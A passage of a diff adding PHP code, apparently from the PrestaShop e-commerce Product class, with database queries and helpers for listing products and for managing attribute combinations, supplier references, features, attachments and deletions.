+ { + $result = Db::getInstance()->executeS(' + SELECT `id_image` + FROM `'._DB_PREFIX_.'image` + WHERE `id_product` = '.(int)$this->id + ); + + $status = true; + if ($result) + foreach ($result as $row) + { + $image = new Image($row['id_image']); + $status &= $image->delete(); + } + return $status; + } + + /** + * @deprecated 1.5.0 Use Combination::getPrice() + */ + public static function getProductAttributePrice($id_product_attribute) + { + return Combination::getPrice($id_product_attribute); + } + + /** + * Get all available products + * + * @param integer $id_lang Language id + * @param integer $start Start number + * @param integer $limit Number of products to return + * @param string $order_by Field for ordering + * @param string $order_way Way for ordering (ASC or DESC) + * @return array Products details + */ + public static function getProducts($id_lang, $start, $limit, $order_by, $order_way, $id_category = false, + $only_active = false, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + if (!Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + die (Tools::displayError()); + if ($order_by == 'id_product' || $order_by == 'price' || $order_by == 'date_add' || $order_by == 'date_upd') + $order_by_prefix = 'p'; + else if ($order_by == 'name') + $order_by_prefix = 'pl'; + else if ($order_by == 'position') + $order_by_prefix = 'c'; + + if (strpos($order_by, '.') > 0) + { + $order_by = explode('.', $order_by); + $order_by_prefix = $order_by[0]; + $order_by = $order_by[1]; + } + $sql = 'SELECT p.*, product_shop.*, pl.* , m.`name` AS manufacturer_name, s.`name` AS supplier_name + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product` '.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON (m.`id_manufacturer` = p.`id_manufacturer`) + LEFT JOIN `'._DB_PREFIX_.'supplier` s ON (s.`id_supplier` = p.`id_supplier`)'. + ($id_category ? 'LEFT JOIN `'._DB_PREFIX_.'category_product` c ON (c.`id_product` = p.`id_product`)' : '').' + WHERE pl.`id_lang` = '.(int)$id_lang. + ($id_category ? ' AND c.`id_category` = '.(int)$id_category : ''). + ($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : ''). + ($only_active ? ' AND product_shop.`active` = 1' : '').' + ORDER BY '.(isset($order_by_prefix) ? pSQL($order_by_prefix).'.' : '').'`'.pSQL($order_by).'` '.pSQL($order_way). + ($limit > 0 ? ' LIMIT '.(int)$start.','.(int)$limit : ''); + $rq = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + if ($order_by == 'price') + Tools::orderbyPrice($rq, $order_way); + + foreach ($rq as &$row) + $row = Product::getTaxesInformations($row); + + return ($rq); + } + + public static function getSimpleProducts($id_lang, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + $sql = 'SELECT p.`id_product`, pl.`name` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product` '.Shop::addSqlRestrictionOnLang('pl').') + WHERE pl.`id_lang` = '.(int)$id_lang.' + '.($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '').' + ORDER BY pl.`name`'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + public function isNew() + { + $result = Db::getInstance()->executeS(' + SELECT p.id_product + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE p.id_product = '.(int)$this->id.' + AND DATEDIFF( + product_shop.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0 + '); + return count($result) > 0; + } + + public function productAttributeExists($attributes_list, $current_product_attribute = false, Context $context = null, $all_shops = false, $return_id = false) + { + if (!Combination::isFeatureActive()) + return false; + if ($context === null) + $context = Context::getContext(); + $result = Db::getInstance()->executeS( + 'SELECT pac.`id_attribute`, pac.`id_product_attribute` + FROM `'._DB_PREFIX_.'product_attribute` pa + JOIN `'._DB_PREFIX_.'product_attribute_shop` pas ON (pas.id_product_attribute = pa.id_product_attribute) + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + WHERE 1 '.(!$all_shops ? ' AND pas.id_shop ='.(int)$context->shop->id : '').' AND pa.`id_product` = '.(int)$this->id. + ($all_shops ? ' GROUP BY pac.id_attribute, pac.id_product_attribute ' : '') + ); + + /* If something's wrong */ + if (!$result || empty($result)) + return false; + /* Product attributes simulation */ + $product_attributes = array(); + foreach ($result as $product_attribute) + $product_attributes[$product_attribute['id_product_attribute']][] = $product_attribute['id_attribute']; + /* Checking product's attribute existence */ + foreach ($product_attributes as $key => $product_attribute) + if (count($product_attribute) == count($attributes_list)) + { + $diff = false; + for ($i = 0; $diff == false && isset($product_attribute[$i]); $i++) + if (!in_array($product_attribute[$i], $attributes_list) || $key == $current_product_attribute) + $diff = true; + if (!$diff) + { + if ($return_id) + return $key; + return true; + } + } + + return false; + } + + /** + * addProductAttribute is deprecated + * + * The quantity params now set StockAvailable for the current shop with the specified quantity + * The supplier_reference params now set the supplier reference of the default supplier of the product if possible + * + * @see StockManager if you want to manage real stock + * @see StockAvailable if you want to manage available quantities for sale on your shop(s) + * @see ProductSupplier for manage supplier reference(s) + * + * @deprecated since 1.5.0 + */ + public function addProductAttribute($price, $weight, $unit_impact, $ecotax, $quantity, $id_images, $reference, + $id_supplier = null, $ean13, $default, $location = null, $upc = null, $minimal_quantity = 1) + { + Tools::displayAsDeprecated(); + + $id_product_attribute = $this->addAttribute( + $price, $weight, $unit_impact, $ecotax, $id_images, + $reference, $ean13, $default, $location, $upc, $minimal_quantity + ); + + if (!$id_product_attribute) + return false; + + StockAvailable::setQuantity($this->id, $id_product_attribute, $quantity); + //Try to set the default supplier reference + $this->addSupplierReference($id_supplier, $id_product_attribute); + return $id_product_attribute; + } + + public function generateMultipleCombinations($combinations, $attributes) + { + $attributes_list = array(); + $res = true; + $default_on = 1; + foreach ($combinations as $key => $combination) + { + $id_combination = (int)$this->productAttributeExists($attributes[$key], false, null, true, true); + $obj = new Combination($id_combination); + + if ($id_combination) + { + $obj->minimal_quantity = 1; + $obj->available_date = '0000-00-00'; + } + + foreach ($combination as $field => $value) + $obj->$field = $value; + + $obj->default_on = $default_on; + $default_on = 0; + + $obj->save(); + + if (!$id_combination) + { + $attribute_list = array(); + foreach ($attributes[$key] as $id_attribute) + $attribute_list[] = array( + 'id_product_attribute' => (int)$obj->id, + 'id_attribute' => (int)$id_attribute + ); + $res &= Db::getInstance()->insert('product_attribute_combination', $attribute_list); + } + } + + return $res; + } + + /** + * @param integer $quantity DEPRECATED + * @param string $supplier_reference DEPRECATED + */ + public function addCombinationEntity($wholesale_price, $price, $weight, $unit_impact, $ecotax, $quantity, + $id_images, $reference, $id_supplier, $ean13, $default, $location = null, $upc = null, $minimal_quantity = 1, array $id_shop_list = array()) + { + $id_product_attribute = $this->addAttribute( + $price, $weight, $unit_impact, $ecotax, $id_images, + $reference, $ean13, $default, $location, $upc, $minimal_quantity, $id_shop_list); + + $this->addSupplierReference($id_supplier, $id_product_attribute); + $result = ObjectModel::updateMultishopTable('Combination', array( + 'wholesale_price' => (float)$wholesale_price, + ), 'a.id_product_attribute = '.(int)$id_product_attribute); + + if (!$id_product_attribute || !$result) + return false; + + return $id_product_attribute; + } + + public function addProductAttributeMultiple($attributes, $set_default = true) + { + Tools::displayAsDeprecated(); + $return = array(); + $default_value = 1; + foreach ($attributes as &$attribute) + { + $obj = new Combination(); + foreach ($attribute as $key => $value) + $obj->$key = $value; + + if ($set_default) + { + $obj->default_on = $default_value; + $default_value = 0; + // if we add a combination for this shop and this product does not use the combination feature in other shop, + // we clone the default combination in every shop linked to this product + if (!$this->hasAttributesInOtherShops()) + { + $id_shop_list_array = Product::getShopsByProduct($this->id); + $id_shop_list = array(); + foreach ($id_shop_list_array as $array_shop) + $id_shop_list[] = $array_shop['id_shop']; + $obj->id_shop_list = $id_shop_list; + } + } + $obj->add(); + $return[] = $obj->id; + } + + return $return; + } + + /** + * Del all default attributes for product + */ + public function deleteDefaultAttributes() + { + return ObjectModel::updateMultishopTable('Combination', array( + 'default_on' => 0, + ), 'id_product = '.(int)$this->id); + } + + public function setDefaultAttribute($id_product_attribute) + { + $result = ObjectModel::updateMultishopTable('Combination', array( + 'default_on' => 1 + ), '`id_product` = '.(int)$this->id.' AND a.`id_product_attribute` = '.(int)$id_product_attribute); + + $result &= ObjectModel::updateMultishopTable('product', array( + 'cache_default_attribute' => (int)$id_product_attribute, + ), 'a.`id_product` = '.(int)$this->id); + $this->cache_default_attribute = (int)$id_product_attribute; + return $result; + } + + public static function updateDefaultAttribute($id_product) + { + $id_default_attribute = (int)Product::getDefaultAttribute($id_product); + $result = Db::getInstance()->update('product_shop', array( + 'cache_default_attribute' => $id_default_attribute, + ), 'id_product = '.(int)$id_product); + $result &= Db::getInstance()->update('product', array( + 'cache_default_attribute' => $id_default_attribute, + ), 'id_product = '.(int)$id_product); + return $result; + } + + /** + * Update a product attribute + * + * @deprecated since 1.5 + * @see updateAttribute() to use instead + * @see ProductSupplier for manage supplier reference(s) + * + */ + public function updateProductAttribute($id_product_attribute, $wholesale_price, $price, $weight, $unit, $ecotax, + $id_images, $reference, $id_supplier = null, $ean13, $default, $location = null, $upc = null, $minimal_quantity, $available_date) + { + Tools::displayAsDeprecated(); + + $return = $this->updateAttribute( + $id_product_attribute, $wholesale_price, $price, $weight, $unit, $ecotax, + $id_images, $reference, $ean13, $default, $location = null, $upc = null, $minimal_quantity, $available_date + ); + $this->addSupplierReference($id_supplier, $id_product_attribute); + + return $return; + } + + /** + * Sets Supplier Reference + * + * @param int $id_supplier + * @param int $id_product_attribute + * @param string $supplier_reference + * @param float $price + * @param int $id_currency + */ + public function addSupplierReference($id_supplier, $id_product_attribute, $supplier_reference = null, $price = null, $id_currency = null) + { + //in some case we need to add price without supplier reference + if ($supplier_reference === null) + $supplier_reference = ''; + + //Try to set the default supplier reference + if ($id_supplier > 0) + { + $id_product_supplier = (int)ProductSupplier::getIdByProductAndSupplier($this->id, $id_product_attribute, $id_supplier); + + if (!$id_product_supplier) + { + //create new record + $product_supplier_entity = new ProductSupplier(); + $product_supplier_entity->id_product = (int)$this->id; + $product_supplier_entity->id_product_attribute = (int)$id_product_attribute; + $product_supplier_entity->id_supplier = (int)$id_supplier; + $product_supplier_entity->product_supplier_reference = pSQL($supplier_reference); + $product_supplier_entity->product_supplier_price_te = (int)$price; + $product_supplier_entity->id_currency = (int)$id_currency; + $product_supplier_entity->save(); + } + else + { + $product_supplier = new ProductSupplier((int)$id_product_supplier); + $product_supplier->product_supplier_reference = pSQL($supplier_reference); + $product_supplier->update(); + } + } + } + + /** + * Update a product attribute + * + * @param integer $id_product_attribute Product attribute id + * @param float $wholesale_price Wholesale price + * @param float $price Additional price + * @param float $weight Additional weight + * @param float $unit + * @param float $ecotax Additional ecotax + * @param integer $id_image Image id + * @param string $reference Reference + * @param string $ean13 Ean-13 barcode + * @param int $default Default On + * @param string $upc Upc barcode + * @param string $minimal_quantity Minimal quantity + * @return array Update result + */ + public function updateAttribute($id_product_attribute, $wholesale_price, $price, $weight, $unit, $ecotax, + $id_images, $reference, $ean13, $default, $location = null, $upc = null, $minimal_quantity = null, $available_date = null, $update_all_fields = true, array $id_shop_list = array()) + { + $combination = new Combination($id_product_attribute); + + if (!$update_all_fields) + $combination->setFieldsToUpdate(array( + 'price' => !is_null($price), + 'wholesale_price' => !is_null($wholesale_price), + 'ecotax' => !is_null($ecotax), + 'weight' => !is_null($weight), + 'unit_price_impact' => !is_null($unit), + 'default_on' => !is_null($default), + 'minimal_quantity' => !is_null($minimal_quantity), + 'available_date' => !is_null($available_date), + )); + + $price = str_replace(',', '.', $price); + $weight = str_replace(',', '.', $weight); + + $combination->price = (float)$price; + $combination->wholesale_price = (float)$wholesale_price; + $combination->ecotax = (float)$ecotax; + $combination->weight = (float)$weight; + $combination->unit_price_impact = (float)$unit; + $combination->reference = pSQL($reference); + $combination->location = pSQL($location); + $combination->ean13 = pSQL($ean13); + $combination->upc = pSQL($upc); + $combination->default_on = (int)$default; + $combination->minimal_quantity = (int)$minimal_quantity; + $combination->available_date = $available_date ? pSQL($available_date) : '0000-00-00'; + + if (count($id_shop_list)) + $combination->id_shop_list = $id_shop_list; + + $combination->save(); + + if (!empty($id_images)) + $combination->setImages($id_images); + + Product::updateDefaultAttribute($this->id); + + Hook::exec('actionProductAttributeUpdate', array('id_product_attribute' => $id_product_attribute)); + + return true; + } + + /** + * Add a product attribute + * @since 1.5.0.1 + * + * @param float $price Additional price + * @param float $weight Additional weight + * @param float $ecotax Additional ecotax + * @param integer $id_images Image ids + * @param string $reference Reference + * @param string $location Location + * @param string $ean13 Ean-13 barcode + * @param boolean $default Is default attribute for product + * @param integer $minimal_quantity Minimal quantity to add to cart + * @return mixed $id_product_attribute or false + */ + public function addAttribute($price, $weight, $unit_impact, $ecotax, $id_images, $reference, $ean13, + $default, $location = null, $upc = null, $minimal_quantity = 1, array $id_shop_list = array()) + { + if (!$this->id) + return; + + $price = str_replace(',', '.', $price); + $weight = str_replace(',', '.', $weight); + + $combination = new Combination(); + $combination->id_product = (int)$this->id; + $combination->price = (float)$price; + $combination->ecotax = (float)$ecotax; + $combination->quantity = 0; + $combination->weight = (float)$weight; + $combination->unit_price_impact = (float)$unit_impact; + $combination->reference = pSQL($reference); + $combination->location = pSQL($location); + $combination->ean13 = pSQL($ean13); + $combination->upc = pSQL($upc); + $combination->default_on = (int)$default; + $combination->minimal_quantity = (int)$minimal_quantity; + + // if we add a combination for this shop and this product does not use the combination feature in other shop, + // we clone the default combination in every shop linked to this product + if ($default && !$this->hasAttributesInOtherShops()) + { + $id_shop_list_array = Product::getShopsByProduct($this->id); + foreach ($id_shop_list_array as $array_shop) + $id_shop_list[] = $array_shop['id_shop']; + } + + if (count($id_shop_list)) + $combination->id_shop_list = $id_shop_list; + + $combination->add(); + + if (!$combination->id) + return false; + + Product::updateDefaultAttribute($this->id); + + if (!empty($id_images)) + $combination->setImages($id_images); + + return (int)$combination->id; + } + + + /** + * @deprecated since 1.5.0 + */ + public function updateQuantityProductWithAttributeQuantity() + { + Tools::displayAsDeprecated(); + + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'product` + SET `quantity` = IFNULL( + ( + SELECT SUM(`quantity`) + FROM `'._DB_PREFIX_.'product_attribute` + WHERE `id_product` = '.(int)$this->id.' + ), \'0\') + WHERE `id_product` = '.(int)$this->id); + } + /** + * Delete product attributes + * + * @return array Deletion result + */ + public function deleteProductAttributes() + { + Hook::exec('actionProductAttributeDelete', array('id_product_attribute' => 0, 'id_product' => $this->id, 'deleteAllAttributes' => true)); + + $result = true; + $combinations = new Collection('Combination'); + $combinations->where('id_product', '=', $this->id); + foreach ($combinations as $combination) + $result &= $combination->delete(); + SpecificPriceRule::applyAllRules(array((int)$this->id)); + return $result; + } + + /** + * Delete product attributes impacts + * + * @return Deletion result + */ + public function deleteAttributesImpacts() + { + return Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'attribute_impact` + WHERE `id_product` = '.(int)$this->id + ); + } + + /** + * Delete product features + * + * @return array Deletion result + */ + public function deleteProductFeatures() + { + SpecificPriceRule::applyAllRules(array((int)$this->id)); + return $this->deleteFeatures(); + } + + + public static function updateCacheAttachment($id_product) + { + $value = (bool)Db::getInstance()->getValue(' + SELECT id_attachment + FROM '._DB_PREFIX_.'product_attachment + WHERE id_product='.(int)$id_product); + return Db::getInstance()->update( + 'product', + array('cache_has_attachments' => (int)$value), + 'id_product = '.(int)$id_product + ); + } + + /** + * Delete product attachments + * + * @return array Deletion result + */ + public function deleteAttachments() + { + $res = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_attachment` + WHERE `id_product` = '.(int)$this->id + ); + + Product::updateCacheAttachment((int)$this->id); + + return $res; + } + + /** + * Delete product customizations + * + * @return array Deletion result + */ + public function deleteCustomization() + { + return ( + Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'customization_field` + WHERE `id_product` = '.(int)$this->id + ) + && + Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'customization_field_lang` + WHERE `id_customization_field` NOT IN (SELECT id_customization_field + FROM `'._DB_PREFIX_.'customization_field`)' + ) + ); + } + + /** + * Delete product pack details + * + * @return array Deletion result + */ + public function deletePack() + { + return Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'pack` + WHERE `id_product_pack` = '.(int)$this->id.' + OR `id_product_item` = '.(int)$this->id + ); + } + + /** + * Delete product sales + * + * @return array Deletion result + */ + public function deleteProductSale() + { + return Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'product_sale` + WHERE `id_product` = '.(int)$this->id + ); + } + + /** + * Delete product in its scenes + * + * @return array Deletion result + */ + public function deleteSceneProducts() + { + return Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'scene_products` + WHERE `id_product` = '.(int)$this->id + ); + } + + /** + * Delete product indexed words + * + * @return array Deletion result + */ + public function deleteSearchIndexes() + { + return ( + Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'search_index` + WHERE `id_product` = '.(int)$this->id + ) + && + Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'search_word` + WHERE `id_word` NOT IN ( + SELECT id_word + FROM `'._DB_PREFIX_.'search_index` + )' + ) + ); + } + + /** + * Add a product attributes combinaison + * + * @param integer $id_product_attribute Product attribute id + * @param array $attributes Attributes to forge combinaison + * @return array Insertion result + * @deprecated since 1.5.0.7 + */ + public function addAttributeCombinaison($id_product_attribute, $attributes) + { + Tools::displayAsDeprecated(); + if (!is_array($attributes)) + die(Tools::displayError()); + if (!count($attributes)) + return false; + + $combination = new Combination((int)$id_product_attribute); + return $combination->setAttributes($attributes); + } + + public function addAttributeCombinationMultiple($id_attributes, $combinations) + { + Tools::displayAsDeprecated(); + $attributes_list = array(); + foreach ($id_attributes as $nb => $id_product_attribute) + if (isset($combinations[$nb])) + foreach ($combinations[$nb] as $id_attribute) + $attributes_list[] = array( + 'id_product_attribute' => (int)$id_product_attribute, + 'id_attribute' => (int)$id_attribute, + ); + + return Db::getInstance()->insert('product_attribute_combination', $attributes_list); + } + + + /** + * Delete a product attributes combination + * + * @param integer $id_product_attribute Product attribute id + * @return array Deletion result + */ + public function deleteAttributeCombination($id_product_attribute) + { + if (!$this->id || !$id_product_attribute || !is_numeric($id_product_attribute)) + return false; + + Hook::exec( + 'deleteProductAttribute', + array( + 'id_product_attribute' => $id_product_attribute, + 'id_product' => $this->id, + 'deleteAllAttributes' => false + ) + ); + + $combination = new Combination($id_product_attribute); + $res = $combination->delete(); + SpecificPriceRule::applyAllRules(array((int)$this->id)); + return $res; + } + + /** + * Delete features + * + */ + public function deleteFeatures() + { + // List products features + $features = Db::getInstance()->executeS(' + SELECT p.*, f.* + FROM `'._DB_PREFIX_.'feature_product` as p + LEFT JOIN `'._DB_PREFIX_.'feature_value` as f ON (f.`id_feature_value` = p.`id_feature_value`) + WHERE `id_product` = '.(int)$this->id); + foreach ($features as $tab) + // Delete product custom features + if ($tab['custom']) + { + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'feature_value` + WHERE `id_feature_value` = '.(int)$tab['id_feature_value']); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'feature_value_lang` + WHERE `id_feature_value` = '.(int)$tab['id_feature_value']); + } + // Delete product features + $result = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'feature_product` + WHERE `id_product` = '.(int)$this->id); + + SpecificPriceRule::applyAllRules(array((int)$this->id)); + return ($result); + } + + /** + * Get all available product attributes resume + * + * @param integer $id_lang Language id + * @return array Product attributes combinations + */ + public function getAttributesResume($id_lang, $attribute_value_separator = ' - ', $attribute_separator = ', ') + { + if (!Combination::isFeatureActive()) + return array(); + $add_shop = ''; + + $combinations = Db::getInstance()->executeS('SELECT pa.*, product_attribute_shop.* + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.`id_product` = '.(int)$this->id.' + GROUP BY pa.`id_product_attribute`'); + + if (!$combinations) + return false; + + $product_attributes = array(); + foreach ($combinations as $combination) + $product_attributes[] = (int)$combination['id_product_attribute']; + + $lang = Db::getInstance()->executeS('SELECT pac.id_product_attribute, GROUP_CONCAT(agl.`name`, \''.pSQL($attribute_value_separator).'\',al.`name` ORDER BY agl.`id_attribute_group` SEPARATOR \''.pSQL($attribute_separator).'\') as attribute_designation + FROM `'._DB_PREFIX_.'product_attribute_combination` pac + LEFT JOIN `'._DB_PREFIX_.'attribute` a ON a.`id_attribute` = pac.`id_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)$id_lang.') + WHERE pac.id_product_attribute IN ('.implode(',', $product_attributes).') + GROUP BY pac.id_product_attribute'); + + foreach ($lang as $k => $row) + $combinations[$k]['attribute_designation'] = $row['attribute_designation']; + + + //Get quantity of each variations + foreach ($combinations as $key => $row) + { + $cache_key = $row['id_product'].'_'.$row['id_product_attribute'].'_quantity'; + + if (!Cache::isStored($cache_key)) + Cache::store( + $cache_key, + StockAvailable::getQuantityAvailableByProduct($row['id_product'], $row['id_product_attribute']) + ); + + $combinations[$key]['quantity'] = Cache::retrieve($cache_key); + } + + return $combinations; + } + + /** + * Get all available product attributes combinations + * + * @param integer $id_lang Language id + * @return array Product attributes combinations + */ + public function getAttributeCombinations($id_lang) + { + if (!Combination::isFeatureActive()) + return array(); + + $sql = 'SELECT pa.*, product_attribute_shop.*, ag.`id_attribute_group`, ag.`is_color_group`, agl.`name` AS group_name, al.`name` AS attribute_name, + a.`id_attribute`, pa.`unit_price_impact` + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON pac.`id_product_attribute` = pa.`id_product_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute` a ON a.`id_attribute` = pac.`id_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)$id_lang.') + WHERE pa.`id_product` = '.(int)$this->id.' + GROUP BY pa.`id_product_attribute`, ag.`id_attribute_group` + ORDER BY pa.`id_product_attribute`'; + + $res = Db::getInstance()->executeS($sql); + + //Get quantity of each variations + foreach ($res as $key => $row) + { + $cache_key = $row['id_product'].'_'.$row['id_product_attribute'].'_quantity'; + + if (!Cache::isStored($cache_key)) + Cache::store( + $cache_key, + StockAvailable::getQuantityAvailableByProduct($row['id_product'], $row['id_product_attribute']) + ); + + $res[$key]['quantity'] = Cache::retrieve($cache_key); + } + + return $res; + } + + /** + * Get product attribute combination by id_product_attribute + * + * @param integer $id_product_attribute + * @param integer $id_lang Language id + * @return array Product attribute combination by id_product_attribute + */ + public function getAttributeCombinationsById($id_product_attribute, $id_lang) + { + if (!Combination::isFeatureActive()) + return array(); + $sql = 'SELECT pa.*, product_attribute_shop.*, ag.`id_attribute_group`, ag.`is_color_group`, agl.`name` AS group_name, al.`name` AS attribute_name, + a.`id_attribute`, pa.`unit_price_impact` + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON pac.`id_product_attribute` = pa.`id_product_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute` a ON a.`id_attribute` = pac.`id_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)$id_lang.') + WHERE pa.`id_product` = '.(int)$this->id.' + AND pa.`id_product_attribute` = '.(int)$id_product_attribute.' + GROUP BY pa.`id_product_attribute`, ag.`id_attribute_group` + ORDER BY pa.`id_product_attribute`'; + + $res = Db::getInstance()->executeS($sql); + + //Get quantity of each variations + foreach ($res as $key => $row) + { + $cache_key = $row['id_product'].'_'.$row['id_product_attribute'].'_quantity'; + + if (!Cache::isStored($cache_key)) + Cache::store( + $cache_key, + StockAvailable::getQuantityAvailableByProduct($row['id_product'], $row['id_product_attribute']) + ); + + $res[$key]['quantity'] = Cache::retrieve($cache_key); + } + + return $res; + } + + public function getCombinationImages($id_lang) + { + if (!Combination::isFeatureActive()) + return false; + + $product_attributes = Db::getInstance()->executeS( + 'SELECT `id_product_attribute` + FROM `'._DB_PREFIX_.'product_attribute` + WHERE `id_product` = '.(int)$this->id + ); + + if (!$product_attributes) + return false; + + $ids = array(); + + foreach ($product_attributes as $product_attribute) + $ids[] = (int)$product_attribute['id_product_attribute']; + + $result = Db::getInstance()->executeS(' + SELECT pai.`id_image`, pai.`id_product_attribute`, il.`legend` + FROM `'._DB_PREFIX_.'product_attribute_image` pai + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (il.`id_image` = pai.`id_image`) + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_image` = pai.`id_image`) + WHERE pai.`id_product_attribute` IN ('.implode(', ', $ids).') AND il.`id_lang` = '.(int)$id_lang.' ORDER by i.`position`' + ); + + if (!$result) + return false; + + $images = array(); + + foreach ($result as $row) + $images[$row['id_product_attribute']][] = $row; + + return $images; + } + + /** + * Check if product has attributes combinations + * + * @return integer Attributes combinations number + */ + public function hasAttributes() + { + if (!Combination::isFeatureActive()) + return 0; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.`id_product` = '.(int)$this->id + ); + } + + /** + * Get new products + * + * @param integer $id_lang Language id + * @param integer $pageNumber Start from (optional) + * @param integer $nbProducts Number of products to return (optional) + * @return array New products + */ + public static function getNewProducts($id_lang, $page_number = 0, $nb_products = 10, + $count = false, $order_by = null, $order_way = null, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + if ($page_number < 0) $page_number = 0; + if ($nb_products < 1) $nb_products = 10; + if (empty($order_by) || $order_by == 'position') $order_by = 'date_add'; + if (empty($order_way)) $order_way = 'DESC'; + if ($order_by == 'id_product' || $order_by == 'price' || $order_by == 'date_add' || $order_by == 'date_upd') + $order_by_prefix = 'p'; + else if ($order_by == 'name') + $order_by_prefix = 'pl'; + if (!Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + die(Tools::displayError()); + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + if (strpos($order_by, '.') > 0) + { + $order_by = explode('.', $order_by); + $order_by_prefix = $order_by[0]; + $order_by = $order_by[1]; + } + if ($count) + { + $sql = 'SELECT COUNT(p.`id_product`) AS nb + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE product_shop.`active` = 1 + AND DATEDIFF( + product_shop.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0 + '.($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '').' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + )'; + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + $sql = new DbQuery(); + $sql->select( + 'p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, pl.`description`, pl.`description_short`, pl.`link_rewrite`, pl.`meta_description`, + pl.`meta_keywords`, pl.`meta_title`, pl.`name`, MAX(image_shop.`id_image`) id_image, il.`legend`, m.`name` AS manufacturer_name, + DATEDIFF( + product_shop.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0 AS new' + ); + + $sql->from('product', 'p'); + 